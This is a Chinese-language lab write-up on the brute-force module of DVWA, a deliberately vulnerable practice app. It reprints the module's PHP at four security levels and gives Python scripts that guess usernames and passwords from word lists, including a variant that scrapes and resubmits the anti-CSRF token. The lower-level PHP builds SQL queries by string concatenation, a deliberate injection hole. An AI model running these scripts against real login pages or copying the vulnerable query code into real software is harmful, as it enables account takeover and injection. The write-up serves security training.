DVWA学习之Brute Force暴力破解
概述
搭建方法请转至DVMA学习之安装、环境搭建等。
本文主要使用 python 脚本来实现 Brute Force，文末有一些未解问题，期待一起讨论。
具体过程
模拟访问网页，通过抓包查看具体的跳转类型。（可通过检查源实现）
- Low 情况：可以通过 SQL注入 和 暴力破解 实现攻击。
- Medium情况：可以通过 暴力破解 实现。
- High情况：在进行模拟访问的时候需要添加 Token。
问题讨论（求大佬解答）
- 关于 Cookie 的问题：直接通过 get 方法返回的 set-cookie 属性中的 cookie 并不能直接使用。原因是因为 cookie 已保存至浏览器了嘛？
- 关于 Token 的更换：一次一换，但一次无法有 token，所以 token 的具体操作流程是什么样的呢，即其生命周期。
下文分为三部分，分别放了网页源码和攻击代码（有两种实现方式）。
1. Low
1.1 网页源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
1.2 攻击实现（一）
import requests
import re
headers = {
"Cookie": "security=low; PHPSESSID=自己cookie"
}
ip = "" # localhost
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
res = requests.get(url,headers=headers)
fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()
for username in usernames:
for password in passwords:
response = requests.get(url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login", headers=headers) # low & medium #
if not re.findall("Username and/or password incorrect", response.text):
print(username[:-1]+":"+password[:-1])
1.3 攻击实现（二）
import httplib2
import sys
import re
ip = "" # localhost
h = httplib2.Http( )
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
header = {"cookie" : "security = low"}
response,content=h.request(url,headers=header)
cookie = response["set-cookie"]
#cookie = re.findall("PHPSESSID=(.*?); path=/", cookie)[0] ***** 直接获得的Cookie不能使用，会报错，不知道为什么，期待探讨
cookie = "" # 自己抓包获得
cookie = "security = low; PHPSESSID = "+cookie
header={"cookie": cookie}
fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()
for username in usernames:
for password in passwords:
tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login" # low #
res, content = h.request(tmp, "GET", "", header)
if not re.findall("Username and/or password incorrect", str(content, encoding='utf-8')) or re.findall("CSRF token", str(content, encoding='utf-8')):
print(username[:-1]+":"+password[:-1])
2. Medium
2.1 网页源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
2.2 攻击实现（一）
import requests
import re
headers = {
"Cookie": "security=medium; PHPSESSID=自己Cookie"
}
ip = "" # localhost
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
res = requests.get(url,headers=headers)
fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()
for username in usernames:
for password in passwords:
response = requests.get(url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login", headers=headers) # low & medium #
if not re.findall("Username and/or password incorrect", response.text):
print(username[:-1]+":"+password[:-1])
2.3 攻击实现（二）
import httplib2
import sys
import re
ip = "" # localhost
h = httplib2.Http( )
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
header = {"cookie" : "security=medium"}
response,content=h.request(url,headers=header)
cookie = response["set-cookie"]
#cookie = re.findall("PHPSESSID=(.*?); path=/", cookie)[0] ***** 直接获得的Cookie不能使用，会报错，不知道为什么，期待探讨
cookie = "" # 自己抓包获得
cookie = "security=medium; PHPSESSID="+cookie
header={"cookie": cookie}
fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()
for username in usernames:
for password in passwords:
tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login" # low #
res, content = h.request(tmp, "GET", "", header)
if not re.findall("Username and/or password incorrect", str(content, encoding='utf-8')) or re.findall("CSRF token", str(content, encoding='utf-8')):
print(username[:-1]+":"+password[:-1])
3. High
3.1 网页源码
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
3.2 攻击实现（一）
import requests
import re
headers = {
"Cookie": "security=high; PHPSESSID=自己cookie"
}
ip = "" # localhost
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
res = requests.get(url,headers=headers)
token = re.findall("<input.*?value=\'(.*?)' />", res.text)[0] ### high ###
fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()
for username in usernames:
for password in passwords:
response = requests.get(url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login&user_token="+token, headers=headers) ### high ###
token = re.findall("<input.*?value=\'(.*?)' />", response.text)[0] ### high ###
if not re.findall("Username and/or password incorrect", response.text) or re.findall("CSRF token", response.text):
print(username[:-1]+":"+password[:-1])
3.3 攻击实现（二）
import httplib2
import sys
import re
ip = "" # localhost
h = httplib2.Http( )
url = "http://" + ip + "/dvwa/vulnerabilities/brute/"
header = {"cookie" : "security=high"}
response,content=h.request(url,headers=header)
token = re.findall("<input.*?value=\'(.*?)' />", str(content, encoding='utf-8'))[0]
cookie = response["set-cookie"]
#cookie = re.findall("PHPSESSID=(.*?); path=/", cookie)[0] ***** 直接获得的Cookie不能使用，会报错，不知道为什么，期待探讨
cookie = "" # 自己抓包获得
cookie = "security=high; PHPSESSID="+cookie
header={"cookie": cookie}
fileusernames = open("names.txt","r")
usernames = fileusernames.readlines()
filepasswords = open("dict.txt","r")
passwords = filepasswords.readlines()
for username in usernames:
for password in passwords:
#tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login" # low #
tmp = url+"?username="+username[:-1]+"&password="+password[:-1]+"&Login=Login&user_token="+token # high #
res, content = h.request(tmp, "GET", "", header)
token = re.findall("<input.*?value=\'(.*?)' />", str(content, encoding='utf-8'))[0] # high #
if not re.findall("Username and/or password incorrect", str(content, encoding='utf-8')) or re.findall("CSRF token", str(content, encoding='utf-8')):
print(username[:-1]+":"+password[:-1])
4. Impossible
4.1 网页源码
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would allow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be allowed to login again
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
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